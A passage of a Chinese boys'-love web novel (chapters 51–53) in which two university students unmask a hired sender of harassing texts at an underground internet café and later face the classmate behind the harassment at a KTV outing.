就在戚栩准备开口的询问事,谢淮骤然出声:“戚栩,你是不是太低估自己的魅力,就算没有照片,光是想象你这张脸都会颅内高潮。” 一字字撞击着戚栩的耳鼓膜,低沉的声音牵扯他的心脏,似乎被谢淮的直白给吓到。 谢淮见状,用同样的话反问:“栩哥,这么纯吗?” 戚栩无语地笑了一声,不搭理他低头继续玩贪吃蛇,只不过刚开始就结束,贪吃蛇撞墙了。 被人反将一军。 ip地址并不是Q大,而是学校附近的网吧。 Q大附近有很多网吧,多数都是正规的,出入需要出示身份证确认是否成年。 然而总有些漏网之鱼,他们在附近的老小区地下室找到了一家黑网吧。 谢淮给对方发了律师涵后消停了两天,然后继续卷土重来,根本不把这份律师涵放在眼里,也是,律师涵而已,WB一抓一大把,律师函警告。 平常人收到骚扰信息会选择忍气吞声,因为没有这么大能耐抓住发信息的人。 戚栩不是平常人,他眦睚必报,就算没有谢淮的帮忙,他就算花大量的钱都要将这个人找出来。 戚栩和谢淮抵达老小区门口时,戚栩看了一眼谢淮的装扮,身上衣服的衣料一看就昂贵,特别是手腕那只表,顶了整个黑网吧的价值。 戚栩转头在车上拿了自己的外套递给谢淮:“换件衣服,把表摘了,等会儿跟在我身后。” 谢淮换上戚栩的衣服,顺手把表给放在口袋里,像个称职的小弟跟在戚栩的身后。 老高和陈威在黑网吧的后门候着,做两全准备。 戚栩进黑网吧之前,从口袋里拿出一包烟,抽出里面大部分的烟,剩下两支,随后把烟盒弄得皱皱巴巴。 继而他抬眸和谢淮对上了眼神,后者扫过他手上的烟。 戚栩主动解释:“不抽。” 他看了谢淮两眼,上前一步帮他戴上外套的帽子,挡住了那帅气而正直一点都不像小混混的脸。 戚栩的突然靠近,鞋尖顶着鞋尖,抬手时擦过谢淮的侧脸,一时无人发觉彼此的距离有多近。 两人走进黑网吧,戚栩在前头站在前台,些许是生面孔,前台的看着两人的眼神有些警惕。 戚栩熟门熟路地行为和脱口而出的黑话打消了前台的怀疑。 “两台机,一个小时?”前台问。 戚栩吊儿郎当地说:“一个小时候后再续吧,给我个打火机。” 前台一同结账,戚栩从口袋里拿出零钱现金结账。 戚栩把另外一张卡递给后面沉默寡言的小弟,然后带着人进去找机子。 黑网吧不同于正规网吧,排气系统和消防系统也不全面,里面烟雾袅袅,一股子烟酒的臭味,熏得人头晕。 戚栩帮着谢淮开机,打开最近流行的游戏,先撑个场面,不会玩也没关系。 但好像不需要撑,谢淮已经登录了游戏账号。 戚栩想起一件事,初遇谢淮的时候就在网吧,这人还在当雷锋。 这位好学生应该也是网吧的常客。 青鸟虽然也不是正规网吧,在高中附近肯定是想做学生的生意,有前后门也是为了让学生方便逃跑。 不过青鸟可比这家地下室网吧好太多,起码光线充足,人员单一,没有这里鱼龙混杂。 戚栩刚打开电脑,小弟忽然崛起,问他:“带你玩一把?” 戚栩:“……” 反正都是要等人,为了不引起怀疑,那就玩一把。 只是戚栩这一世还没玩过这游戏,所以没账号,谢淮问徐亦辰拿了他的账号。 戚栩算是体验一把被带飞的感觉,全程当个腿部挂件,跟着打野入侵对面野区。 被自家ADC质问打野是不是在带妹。 谢淮没回复队友,戚栩一直在注意门口的动静也没看见。 然后暴躁的adc不满辅助不跟他,继续吐槽玩游戏最讨厌遇到连体的小情侣。 最后游戏胜利,他们等的人也出现了。 一个头发像枯草的年轻人背着个书包熟门熟路和前台打招呼,驾轻熟路坐在角落的位置。 不到十分钟,年轻人起身走到前台拿了一桶泡面。 戚栩和谢淮对视一眼,起身朝那位年轻人走去。 黄超站在饮水机前等待泡面装满水,他察觉到身后站了个人,头也没回:“兄弟,等会儿啊,这水出得很慢,投诉了很多次就是不换,都快饿死吃不着了。” 饮水机不知道转了多少手,出水慢,连带着水也不怎么烫,吃的都是半生不熟的面。 到这里的人也将就,谁让这个网吧便宜。 黄超听不到身后的人说话莫名地心慌,转头看了一眼。 戚栩冷眼看着他,然后微微一笑:“你的包被人拿了。” 黄超愣了愣侧头一看,一个戴着帽子的大高个从他的座位上拿着他的包走后门。 他连泡面都不要了,转身就追,包里装的都是他吃饭的家伙事,比命还要重要。 等戚栩走到后门的时候,老高和陈威已经把黄超按在墙上。 黄超见戚栩第一时间大喊:“艹你麻痹,团伙作案是吧,你们知不知道我是谁,这个地盘是我哥做主,识相地就放了我,你们还有活路。” 戚栩走过去拉开他的背包把里面的东西全部倒出来,十几部二手手机,老人机,按键机稀稀落落地掉在水泥地上。 戚栩冷声说出了一个号码:“是哪部手机?” 黄超一惊,只觉得脑袋充血,还在死鸭子嘴硬:“我不知道你在说什么,哥,你要钱是吧,我给你钱。” 戚栩也懒得和他废话,拿出自己的手机给最新骚扰的一个号码发信息,其中一部老人机响起信息声。 戚栩在低头查看手机,一直没说话的谢淮问:“谁让你发的那些信息?” 黄超这会儿才后知后觉,大骂了一声:“操你妈。” 老高捏住了他的肩膀卸下他一只手,黄超瞬间痛苦地大喊,脸都白了,侧脸摩擦着凹凸不平的墙壁刮出一道道血迹。 老高警告:“嘴巴放干净些。” 黄超哆嗦着,浑身颤抖:“我不知道对面是谁,我们**联系,他给我发手机号,我负责发信息,之前我收到你们回复的律师函,他说是P的,让我歇两天继续发。” 戚栩拿出黄超的随身手机点开**,找出对方的聊天框,这会儿时间对面还在让黄超发今晚的骚扰信息。 戚栩点开对方的账号,下一秒显示账号已报销。 戚栩皱眉,递到黄超面前问:“这是怎么一回事?” 黄超痛得话都说不清楚:“这是我和他们的规矩,只要五分钟内不回复信息,就证明我出事了,他们会注销账号。” 戚栩阴沉地道:“你他么还挺会为客户着想。” 黄超苦笑了一声:“客户上帝,只要客户在,我就有东山再起的一天。” “到看管所再起吧。”戚栩说。 黄超忽然大笑了起来:“我查过法律法规,这根本构不成犯罪,拘留几天罚个款就放出来。” 谢淮替戚栩回话:“那就拭目以待,看看你能不能东山再起。” 老高报警了,在警察来之前把黄超的手接回去,把人送去警察局的同时律师也到了。 账号注销得很彻底,他们无法从中得到任何有用的信息,剩下的只能交给警察处理。 黄超是个地痞,长年混迹小巷,身上可有不少伤人的罪名,够他吃一壶了。 折腾了一个下午,只抓住了发骚扰信息的中间人,幕后黑手还没有下落。 也不算没收获,起码戚栩最近这段时间应该不会再收到任何骚扰信息。 在回学校的车上,谢淮一直在看黄超和注销账号的信息,在上交证据之前,他自己备份聊天记录,清楚地看到第一天第一条以及被戚栩删掉的骚扰信息内容。 一旁的戚栩按下他的手机屏幕:“有什么好看的,也不怕脏了眼睛。” 屏幕暗下,昏暗的车厢里看到了谢淮的侧脸有一种渗人的冰冷,面无表情中混合着一丝杀戮。 戚栩宛如看到了谈判桌上的谢淮,让人胆战心惊。 “第一次出外警没捉到人,淮哥心有不忿?消消气好不好,今晚想去哪个食堂吃饭,我请你。” 戚栩还真是没心没肺,都这会儿了还惦记着吃饭。 这点恶心的人小把戏对戚栩来说根本形成不了什么实质性伤害,无非就是恶心一下。 前世他树敌太多,每天起床收到的不是助理信息,而是骚扰恐吓的信息。 当然,戚栩没放过他们,让这些发信息的人统统以敲诈的罪名被拘留。 戚栩见谢淮不说话,这个状态回到宿舍肯定会把李彦和冯振杰这两个胆小的给吓破胆。 为了挽回淮哥和善的形象,戚栩对老高说了一个地址:“去那边吧,缓和一下心情再回学校。” 老高在后视镜看了谢淮一眼,后者没有任何反应,所以他听从戚栩的安排朝目的地出发。 房子到手还没有两天,门禁登记也还没有完善好,登记的时候戚栩顺手把这辆车的车牌变成户主的车辆之一。 以后这辆车在这个小区出入自由。 昨天戚栩让家政把大平层里里外外清洁了一遍,因为还没有换家具,所有的一切都没有完善,这个地方只能作为临时下脚点。 比如用作现在,戚栩把随机吓死一个人的谢淮带回家。 走进玄关,戚栩弯腰拿出两双一次性家居鞋让谢淮换上。 现在再看谢淮的脸色,似乎已经有所好转,让戚栩奇怪的是,他从来都不觉得谢淮冷脸的时候吓人,无论是前世还是今生。 戚栩换好鞋子后起身,对着谢淮笑了笑:“欢迎来到我家,作为第一个客人,真没准备点乔迁礼?” 谢淮打量着客厅,发现家具还是旧的,说道:“过几天我让人送家具过来。” 不愧是手持黑卡的谢少,出手如此阔绰。 戚栩也没想让谢淮大出血:“不用,家具我自己挑,我俩品位不一样,你送点别的吧。” 谢淮想了想说:“送张床吧。” 戚栩一怔,笑着说:“行,你随意。” 不多时,外送的餐食到了,戚栩把外卖放到餐桌上,不是普通的外卖,而是沈氏酒店的外卖,虽然酒店经营得不怎么样,但菜品是好吃的。 两人面对面地坐着,明显比在学校里放松,因为这里没有其他人,只有彼此。 戚栩在回复宿舍群里的消息:“晚上李彦他们约了小组见面,我们吃完饭得回去了。” 戚栩没打算在这里住,这边还住不了人。 吃完饭后,谢淮负责收拾桌上的饭盒,戚栩在客厅坐着,看向餐厅时忽然生出一种奇怪的感觉。 我做饭你洗碗,我洗衣服你晾衣服,我收衣服你叠衣服,这种景象应该只会出现在家庭。 戚栩在身边没出现过这种景象,只在电视剧里看到过,陪曾云看的的爱情偶像剧。 想着想着起了一身鸡皮疙瘩,戚栩搓了一把脸,把这种神经病的画面甩出脑袋。 应该是偶像剧看多了,思想被祸害,这种现象怎么可能会出现在他和谢淮身上。 谢淮拎着垃圾看着戚栩像只小狼似的甩脑袋,试图把身上的脏东西甩掉。 很可爱。 所以这个人只能是他的,他绝对不允许任何人觊觎。 谢淮意识到自己的情感后一直都在克制自己对戚栩的占有欲,假装大度地看着别人搭着戚栩的肩膀,尽量忽略戚栩对着别人没心没肺的笑。 戚栩先是戚栩本身,其次才是他喜欢的戚栩,他总有一种感觉,戚栩本该享受这份惬意,享受一切的欢迎。 在看到那份骚扰信息,他血液里的占有欲差点喧嚣而出。 戚栩不该被这种脏东西缠绕。 其实那份聊天记录有挺多破绽的,每个人都有自己的打字聊天习惯,这是无可避免的事,除非每次打字前都提醒自己不要暴露。 很显然,对方和黄超聊天的时候根本没有想到黄超会被逮捕,这份聊天记录会被其他人拿到手,所以就有了被研究的机会。 戚栩甩完头后抬眸发现谢淮正在看着他,尴尬了那么一秒。 他起身拍了拍身上不存在的灰尘:“走吧,回学校。” 谢淮哪壶不提提哪壶:“刚刚甩头干什么?” 戚栩莫名地心虚,绝对不能让谢淮知道他刚刚在想些什么,这件事他将闭口不提带到棺材里。 “你管我甩头干什么,我跳甩草舞也不关你的事。” 戚栩心虚之余门口的锁始终打不开,有点不爽地啧了一声,身后的人走近了一步,抬手覆上戚栩开门的手,一个用力将门锁打开。 嘀嗒的一声,戚栩的心一震。 谢淮没有把手收回去,戚栩只感觉后背一片温热,紧紧地贴着胸膛,被人圈入了包围圈。 戚栩似乎完全失去了警惕性,不习惯别人的触碰的底线也在此时失效。 这点对别人有约束,但好像一直都对谢淮失效。 不多时,谢淮说:“跳舞的时候通知我一声,我带相机去录像。” 戚栩抽出在大手下自己的手,侧身走出门口:“你可以试试看,看你能不能活到第二天。” 戚栩以暴躁快速结束话题,他还是觉得好奇怪,把人带回家那一刻就开始觉得奇怪,明明家里什么都还没准备好,怎么就把人带回来了。 无非是打不开门,谢淮帮他打开,简单的一件事,让戚栩意识到谢淮和其他人在他心里的位置是不一样的。 有什么地方不一样,戚栩还暂时数不清。 至于原因是什么,戚栩忽然想起一个词,双标。 第52章 第 52 章 黄超用老年人的身份证认证几十个手机号一开始为了给欠债人发还钱信息, 一天几十条轰炸,拉黑了再换个手机号发,到手就那么一丁点钱, 他并不满足。 然后在网上找到一份可以帮人发信息的兼职, 只要给钱,什么信息都可以发。 男女朋友分手之后男方纠缠,每天让黄超给女方发骚扰信息,直到女方忍受不了换手机号码。 领导和员工发生争执,员工心生不满, 黄超每天给老板发送诅咒信息。 当然还有许多在网上匿名注册的发言,引导网络话题风向,黄超用这几十个手机号码做了不少腌臜事。 不少受害者选择报警, 但因为号码的认证信息是八旬老人,很明显是被盗用了身份证而去办理的手机号码。 这种网络信息案件办理起来很费时间和精力,要是可以根据有用信息的内容, 比如一眼就能看出男女朋友,前夫前妻关系这种, 可以找到当事人进行教育。 黄超也是很精明,联络方式也是用别人的身份认证,并且多个人, 所以很难将其捉拿归案。 戚栩不知道谢淮怎么处理找到黄超这件事,今天他又看到老高在宿舍楼下。 这会儿他们正准备去食堂吃午饭, 隔壁宿舍也找来了, 准备结伴同行。 他们看到谢淮准备离开的模样关心问道:“淮哥去哪?不和我们一起吃饭了么。” 谢淮刚踏出宿舍门才回答他们的话:“去趟警察局。” 就说了那么一句话, 谢淮自顾自地离开了宿舍, 留下一群惊呆了的男大。 没有前因后果,很容易让人误会, 当然他们都很担心谢淮是不是遇到了什么棘手的事,怎么严重到要去警察局的地步。 戚栩还在疑惑谢淮今天怎么把这件事说出来了,很快他就和谢淮共频上了。 谢淮是想借这几个大喇叭透露给他发骚扰信息被捉了这件事,杀鸡儆猴之余还能起到一个震慑的作用。 谢淮没把事情说出来,留给戚栩来说,毕竟他是当事人,说不说缘由也是他的自由。 果不其然,这些人第一时间去问和谢淮最为亲近的戚栩。 “栩哥,淮哥是不是出事了,有什么我们可以帮忙的。” “怎么要去警察局这么严重,不会影响学业吧。” “淮哥下午还回来吗,需不需要我们帮他请假。” 七嘴八舌的,关心居多,他们几个都是经常来314串门,也经常来问谢淮和戚栩两位大神课题问题,当然也经常来蹭吃蹭喝,每次戚栩回老宅一趟都带吃的回来。 戚栩斟酌了一下说:“前几天我收到了不少骚扰信息,淮哥帮我找到了那个人并且报警,他现在去处理后续。” 李彦冯振杰也是第一次听戚栩提起这件事,瞬间拍案而起。 “这么大一件事怎么没告诉我们,让我们也跟着去捉人,看我给不给他一棒槌,锤死他丫的。” 李彦格外激动,那个小身板上蹿下跳:“栩哥,你真该把我们带去,有病吧这人,发骚扰信息,是不是之前你说要换手机号码那天。” 戚栩说:“是那天,隔天我们两个报警找到他了。” 他没详细说明找到人的经过,众人误以为是警察找到了。 李彦又问:“是我们学校的吗?” 戚栩说:“发信息的那个不是。” 他们听出了言外之意,幕后主使还没有捉住,只捉住了帮人发信息的。 这可是大事,他们去食堂的路上都在讨论这件事,因为他们不清楚清洗内容,全然把它当成了羡慕嫉妒戚栩的目的。 骚扰被抓进警局这件事说大不大,说小不小,主要当事人是戚栩。 很快这些大喇叭们由宿舍为单位传遍了整个班。 午饭过后,高文均在宿舍处理班级递交上来的文件,其他三人吃完午饭回来顺便给高文均打包了餐食。 “班长你的饭。” 高文均笑了笑道谢:“谢谢,多少钱等会转给你。” 那人摆了摆手说:“不用了,之前你给我带饭都没收钱。” 随后那三人开始在宿舍讨论刚刚在食堂听回来的事。 “戚栩真报警了?把发骚扰信息的人送进警察局,那人也是活该。” “好惹不惹偏要惹戚栩,难道不知道他家的背景吗?一根手指就能将得罪他的人按死。” “话说你们有没有打听到那个人给戚栩发的什么骚扰信息,是男是女,爱而不得,还是嫉妒?” 八卦是每个人的天性。 话音刚落,哗啦一声,只见高文均桌上的汤面不知道为什么弄撒了,连带电脑和他身上都是汤汤水水。 高文均似乎被突如其来的意外弄得束手无策,整个人呆住了没反应,任由汤水流入电脑。 同宿舍的人惊呼了一声,连忙上前把他的电脑给拿起来擦拭:“班长,怎么这么不小心。” 汤面是他们吃完饭后才打包,还是滚烫的。 高文均后知后觉,大腿被烫了,只觉得隐隐撕扯地痛。 他强颜欢笑,起身处理桌上的一片狼藉:“手滑了一下。” 舍友帮他检查了一下电脑,没什么大碍,关心道:“班长,你有没有烫伤,需要去医务室看一下吗?” 高文均换了件衣服就出宿舍了,给沈泽予发信息见面。 高文均心里忐忑不安,害怕警察顺着网络找到他,即使他已经注销了账号,账号也并不是用他的身份注册,可他们说得对,戚栩是何许人也,豪门世家的孩子。 在收到律师函的时候他就该收手,但他不甘心,沈泽予让他表现出对戚栩已经失去了兴趣,回归同学关系,让他对自己放下戒备。 他听话的照做,可每次看到戚栩和谢淮如影随形他极其嫉妒,为什么戚栩身边那个人不能是他,嫉妒和占有欲像个定时炸弹爆炸了。 他把自己所想通过信息发给戚栩,让自己的欲望得到纾解,这样他才能更好地在白天伪装自己。 可现在高文均怕了,不得不去求助沈泽予,他们是同一条船的人。 * 骚扰戚栩的人被警察抓了这件事也算是传了出去,大家都知道金融系的戚栩是个狠人。 戚栩又出名了,很明显的一点就是出了宿舍会被关注。 低调行事也一朝被打回原形。 在戚栩更出名的期间,金融系的两个班开始筹划了团建的活动,同系同级除了上公共课见过面都还没有正式见过,所以才有了这次活动。 两个班的班长提议并做了策划方案上交辅导员,两个辅导员也觉得可行,批准了。 因为选定的时间在周末,活动是自愿参与,不少人宁愿在宿舍学习都不想出门。 活动是在两周前就提议,到了这周才落实,团建属于娱乐活动,所以两班的娱乐委员费尽心思拉高自个班的参与率。 俗话说得好,擒贼先擒王,陈晓华费尽心思劝说戚栩和谢淮两位大佬出席。 周五放学后一路从教学楼跟到食堂,又从食堂一路跟到男生宿舍楼下。 “淮哥,栩哥,求求啦,就一起到外面吃个饭,放心有我在,闲杂人等绝对不允许靠近。” 陈晓华通过小组作业和两人混熟了,大大咧咧的性格不乏细心认真,很讨喜。 “来来来,我自个掏钱给你们买的,收下,让我走个后门。” 戚栩看着他和谢淮都塞了一瓶果汁,谢淮手上还是瓶芒果汁,哭笑不得:“就非得我们参加?李彦和冯振杰代表314不就行。” 陈晓华摇头:“不行,两个班都凑不齐一桌,辅导员可下了命令聚餐后拍照,都是为了完成任务。” 戚栩把自己的苹果汁和谢淮的芒果汁调换:“周六晚上?” 陈晓华仿佛看到希望,说道:“对对对,学校对面的餐厅,经济实惠,888包厢,寓意满满。” 谢淮见到戚栩这么问就知道他要出席,答应下来:“我们会参加的。” 陈晓华心里的大石头瞬间放下,看着两人宛如看到救世主。 就在戚栩和谢淮回宿舍的时候,陈晓华已经在班群昭告两人参与团建的消息。 谢淮和戚栩已经成为班级的头牌,不少人本来都想到借口推搪过去了,看到这条消息都报名参加了。 周六团建这天,戚栩外出大半天,在公司帮着处理事务,到了傍晚才姗姗来到888包厢。 他算来得早,包厢两大桌都没坐几个人,李彦看到戚栩朝他招了招手,冯振杰因晚上有球赛就没来。 戚栩的出现,让包厢的目光都直白地聚焦在他的身上,平时都在大教室里的,没多少机会近距离认真看帅哥。 戚栩刚坐下没一会儿,谢淮也来了,今早两人同一时间出宿舍,这会儿又几乎同一时间回来,实属巧合。 谢淮坐在戚栩旁边的位置,戚栩问:“不是回老宅了么,来得这么快?” 谢淮跟他报备行程似的:“上午回去了一趟,下午到公司。” 听到公司两个字让戚栩找到了和他同病相怜的人,工作日要上课,周末要回公司,时间根本不够用。 戚栩像个酒局老油条一样装模作样地给谢淮倒茶:“淮哥辛苦了,这么努力的话我真的要抱你大腿了。” 谢淮当真了,把腿伸到戚栩面前:“抱吧,两只都给你。” 桌布下,谢淮的膝盖顶着戚栩大腿的外侧,有一下没一下地撞着,似骚扰,却又有种调戏的意味,实则是不抱誓死不离开。 撞得戚栩下半身不稳,差点就掉出椅子。 戚栩是个幼稚鬼,也用大腿撞回去,坚决不吃这个亏。 不过是撞了一下,被谢淮伸手掐住了大腿,戚栩不是不知道谢淮的手大,但是第一次感受到谢淮的手如此之大。 大手张开可以把他大腿前半部分几乎包住,戚栩感受到大腿肉从谢淮的指缝挤出来。 “你这手穿几码鞋?”戚栩惊讶到有点胡言乱语,“你这样弄得我不像一米八三的大高个了。” 谢淮没有松开手,用手指捏了捏戚栩的大腿肉:“太瘦了,多吃点。” 这一个动作让戚栩从尾椎骨麻到脊椎,像被电了一样,持续麻上大脑。 他下意识地往回抽自己的腿,还好顺利地抽回,他把手放在刚刚谢淮掐住的地方挠了挠,试图驱赶这种怪异的感觉。 李彦察觉到两人的动作,说道:“栩哥淮哥,别在桌下调情,等会桌子都被你们搞翻了。” 戚栩:“……” 见了鬼,怎么好像被电麻了一样。 不多时沈泽予拿着塑料盒子出现在两人的旁边,给两人发放号码:“这是等会抽取礼物的号码。” 自从在医院一别,沈泽予再也没有主动找过谢淮,他总觉得谢淮那番话的警告,他所做的一切都会被谢淮看穿。 他无意之中看到蒋子慕生日聚会的照片,谢淮和戚栩如此要好,为什么谢淮身边的人不能是他,明明以前这些聚会都是他出席的。 他心有不甘,当然也不会承认自己嫉妒戚栩,他可是接受了18年精英教育的沈泽予,应该是戚栩嫉妒他才是。 高文均这个蠢货打草惊蛇,让他们迫不得已改变计划,如果有了谢淮加入,以谢家的能力很快就会找到高文均,所以沈泽予打算利用完就他把给扔了,以免惹火上身。 沈泽予认认真真地发号码牌,并没有和两人过多言语,给人一种安分的感觉。 饭菜还没有上来,两班的文娱委员开始热场子,刚好两边都是女孩子,策划活动从击鼓传花到数字炸弹,都是全场参与性比较大的游戏。 同时也是社死现场,被击鼓传花中了头彩又或者说到爆炸数字的人表演才艺。 不少人借尿遁,被高文均和沈泽予两个班长堵在了两边的门。 谢淮和戚栩的运气实在太好,经历过好几轮都顺利通过,然而李彦的运气离家出走了。 中了爆炸数字,硬着头皮唱了首流行歌曲,幸好没有一个句在调上,没人听出他唱什么,都以为自己没听过。 游戏过后,饭菜上来了,两班也通过热身游戏熟悉起来,在包厢里谈得热火朝天。 戚栩不过是来撑场面,全程就和相熟的人说过几句话,酒足饭饱后,隔壁班不少人借此机会都来加他的联系方式。 相比于谢淮,他们更有胆子和戚栩说话,谢淮在外其实非常有压迫感,不同于戚栩的气场随和。 整场饭局下来让戚栩最有参与感的还是最后的抽奖环节,戚栩中了一套英语四级真题。 刚好为下学期考四级做准备。 饭局结束后,部分人有事先回宿舍,还剩下一部分人不打算这么早回宿舍。 高文均提议:“不如去KTV继续下一趴?” 沈泽予一直在看着站在戚栩身边的谢淮,眼神阴郁不知道在想些什么。 陈晓华看了眼时间:“现在才八点半,定个大包厢两个小时,回到学校不到12点,大家的意见如何。” 戚栩没意见,他准备回宿舍洗洗睡了。 沈泽予知道戚栩不一定继续下面的活动,所以他暗中使了个小手段,让戚栩的舍友抽到有关KTV的奖品。 获取一次任由递交麦克风的权利。 当然为了不引起怀疑,这种无厘头的奖品也有很多。 李彦想要兑现奖品,过了这村就没这店,他缠着戚栩陪他去KTV。 “栩哥,陪我去一下嘛,兑现完我的奖品就回学校,不会耽误你的睡觉时间。” 戚栩反问:“你这奖品也有兑现的价值?” 李彦为自己刚刚唱了一首五音不全的歌耿耿于怀,势必要找到另外一个五音不全的人。 “18年来第一次中奖当然有价值。” 隔壁宿舍也进入了劝说大队,无一例外都抽中了一些古灵精怪的奖品,需要下一趴环节才能兑换。 戚栩被强行掳走了,他转头无奈地和谢淮对视,然而后者微微皱着眉头,刚想出声说什么被戚栩摇了摇头阻止。 最后戚栩跟着他们一起到ktv凑热闹了,谢淮是附带的,李彦知道只要控制住戚栩,谢淮也会跟着走。 陈晓华订了一个大包厢,可以容纳十几二十个人,有好几个麦霸一到包厢就开始点歌。 都是大学生了,喝点酒没多大关系,聚餐是从班费里出,KTV是每个人AA。 戚栩没喝酒也没喝任何东西,单纯坐在角落当个摆件。 李彦经过仔细地观察,终于找到了一个和他一样五音不全的人,当众拿起麦克风说:“我要兑现奖品,请方培宁歌唱一首痒。” 方培宁是和314玩得好隔壁宿舍中一员,认识了这么久也算是目睹歌容。 方培宁自信得很,从容地接过麦克风为自己点歌。 他还学着原唱夹着嗓子唱,听得人鸡皮疙瘩都起来了。 整个包厢的人都在狂笑,拿着手机录像。 戚栩真是听到浑身发痒,彻底受不住噪音污染,忍无可忍之下走出了包厢。 去洗手间洗了一把手,把浑身的痒意驱走。 抬起头的时候,从镜子里看到门口的身影。 戚栩对高文均的出现并不意外,抽了张纸擦干手。 高文均说:“我们可以聊聊吗?” 戚栩反问:“还有什么好聊的,之前不是和你说清楚了么。” 他把餐巾纸丢进垃圾桶:“还是说你想聊聊你给我发的那些信息,又或者聊聊黄超在看守所的情况。” 第53章 第 53 章 三分钟后谢淮看了一眼腕表, 刚刚戚栩离开前和他说了一声去洗手间。 包厢的气氛热火朝天,谢淮环视了一圈,发现高文均也不见了踪影, 便起身走出包厢。 他刚出包厢, 沈泽予从另一边的走廊走过来,对他笑了笑:“阿淮,包厢太吵了吗?我送你回去吧。” 谢淮的眼神扫过沈泽予走过来的走廊,声音冷淡:“不用。” 沈泽予似乎看出了他出来找人的目的,笑容更深了些:“其实我很高兴你能参加我们两个班的聚会, 看到你的一刻,似乎回到了我们还在高三同一个班的时候,那个时候我们还一起到食堂吃饭。” 谢淮的目光放在沈泽予脸上, 后者欣喜,以为谢淮也想起了高三那段时光。 谁知谢淮说:“不好意思,我的高三只有竞赛, 其他对我来说并不重要。” 其实这个谢淮才是真正的谢淮,不近人情, 冷漠,在学校里沈泽予和他谈论的话题永远都是学习相关,不会说私人话题。 他精心计算每一步, 维护谢淮的关系,每天心惊是否越矩, 好不容才走到这里, 不甘心就此结束。 他从未出席过谢淮的私人聚会, 也不会主动说, 自认为是懂事的,那为什么戚栩一来就是特殊的那个。 谢淮转身走向沈泽予经过了那几个包厢。 沈泽予忽然挡在了谢淮的面前, 仰着头盯着他看,幽怨地说:“我在你身边默默陪了你这么久,你为什么就是不好好地看我一眼,我们从小就认识,那你为什么要站在戚栩那边,他把我当成敌人,你也要把我当成敌人。” 谢淮皱眉,冷冷地说:“是你一直把他当成敌人,你以为你做的那些小把戏他不知道?他只是不屑和你计较,至于我为什么要站在他那边,理由我没必要向你说明。” 沈泽予眼底闪过一丝心虚,事已至此他已经别无选择了:“我喜欢你,戚栩知道的,他为了报复我才故意接近你,目的是让你远离我,现在他的目的已经达到了。” 他不相信戚栩真的一点都不怨他,不怨他抢走了属于他18年的生活,不怨他抢走了亲生父母,亲生大哥,不怨他让他在戚家村生活了18年非人的日子。 沈泽予知道戚栩一直都在怨恨他,爸妈和大哥也越发偏向戚栩了,戚栩的报复已经达成。 谢淮平静地陈诉真正的事实:“他故意接近我?并不是,从一开始是我在故意接近他,是我对他好奇,是我招惹的他,是我想把他留在我的身边。” 谢淮这话无异于彻底撕破沈泽予的谎言,同时也在他的伤口上撒盐反复鞭打。 沈泽予眼中晃过不可置信,谢淮朝他走近了半步,一字一句缓慢道:“他知道你喜欢我?除非你亲口告诉他,不然他连喜欢是什么都要察觉很久,当然,你们俩的关系还没有达到互相倾诉的地步。” 沈泽予颇有种破罐子破摔,歇斯底里:“所以是你喜欢他?” 谢淮没必要让除了戚栩以外的人知道自己对他的感情,戚栩还不知道,其他人更不配。 “他们在哪个包厢?” 谢淮的沉默等同于默认,沈泽予接近疯狂:“我不知道,怎么,戚栩一靠近别人就让你抓心挠肺?说不定现在两人正在搞在一起,你就别打扰他们了吧。” 谢淮眼底聚拢着不可磨灭的浓墨,越过沈泽予后给戚栩打了个电话,电话无法接通。 KTV包厢,戚栩打量了一下包厢里的粉红色告白装饰,颇为无语。 在他已经表明态度,甚至清楚告知已经知道他的所作所为,还要带他来这里。 戚栩以为还有什么高明的手段就跟着来看一眼,或者能套出他的话,口袋里的手机已经开启录音,他现在怀疑高文均有双重人格。 高文均心里无比激动,现在这个包厢只剩下他和戚栩,隐约地期待接下来所发生的事。 高文均走到桌前倒了杯酒递给戚栩,悠闲地说:“你跟着我进来是不是说明你也对我有感觉,不然也不会和我共处一室。” 戚栩警告:“高文均,我明确地拒绝过你,如果你再纠缠,我不介意送你和黄超团聚。” 高文均承认了自己所做的一切:“是你勾引我在先,如果不是你我也不会发那些信息,你大可昭告天下,这样就证明你是同性恋。” 在高文均心里,同性恋是见不得光的,他是从小县城出来的,虽然凭借高考到了首都,但思想已经被固化,他一边唾弃自己一边放纵自己,为什么他喜欢男人,只对男人有感觉。 在父母和同学眼中他一直都是最优秀的存在,他表面伪装,可私底下已经烂透了。 遇到戚栩之前他没想着和男人谈恋爱,只想一夜情或者当床伴。 如果戚栩愿意和他在一起,他可以收心不再出去约。 戚栩像是听到了什么好笑的话,笑了出来:“我是同性恋又怎么了?说出去就说出去,怕什么,有什么见不得光的吗?” 怕什么? 戚栩这副轻飘飘的态度让高文均妒忌。 明明都是县城出身,为什么他是被抱错的豪门少爷,应该和他一样是平民,这样他们就很相配,天造地设。 “去自首还是我报警,二选一。”戚栩还挺为高文均着想的,自首的话起码这事闹不大。 高文均的表情忽然变得狠戾,仰头一饮而尽那杯酒,仿佛喝酒壮胆:“你没有证据,戚栩,我是真的喜欢你,不然我也不会将包厢布置成这样,你很喜欢吧,那就和我在一起。” 他双眼猩红,露出了贪婪的欲望,朝戚栩走去:“我会让你爽的。” 戚栩嘴角的弧度一点点消失,拿起桌上的麦克风用力将人戳回了沙发上,微微歪头:“爽?我特么是上面那个,留着你自己爽吧。” 戚栩懒得和他说废话,转身离开打开门时发现从外面反锁了,门打不开。 他刚拿出手机给谢淮打电话之际,高文均不知道发什么神经忽然冲过来,戚栩侧身躲避,手里的手机被打掉在墙边,瞬间黑屏。 戚栩转头看向高文均,琥珀色眼眸在包厢五光十色的灯光下变得极为深邃,眸底的冷意让人不寒而栗。 但此时的高文均察觉不到戚栩的态度,只觉得浑身燥热,躁动因子喷涌而出,脑子里只有一个想法,那就是让戚栩变成他的人。 高文均已经彻底撕开那副假面具,扯开自己身上的外套,肌肉紧绷着眼神发虚直直瞪着戚栩。 这会儿的戚栩才意识到不对,高文均这个疯狂的样子完全像是吃了药。 戚栩:“……” 如果他没猜错的话,那瓶酒里面有其他东西。 自己给自己下药? 闻所未闻。 高文均清醒的时候根本打不过他,现在神志不清,谁给他的自信能制服他。 戚栩如今在高文均眼里宛如一个香饽饽,恨不得将他狠狠地压在身下。 高文均猛地朝戚栩冲过去,脸上带着**,双手忍不住探向戚栩。 戚栩觉得碰他一下都脏手,一个横扫将人放倒在地,踩着高文均的背,拿起桌上装酒的冰桶全部倒在他脸上。 冰块冰水倾倒而下,溅了戚栩一脚。 高文均被吓懵了,倒在地上动也不动一下,身上冰火两重天。 戚栩拔下点唱机的电线,捆住了高文均反在后背的手,控制住他想行动的身体。 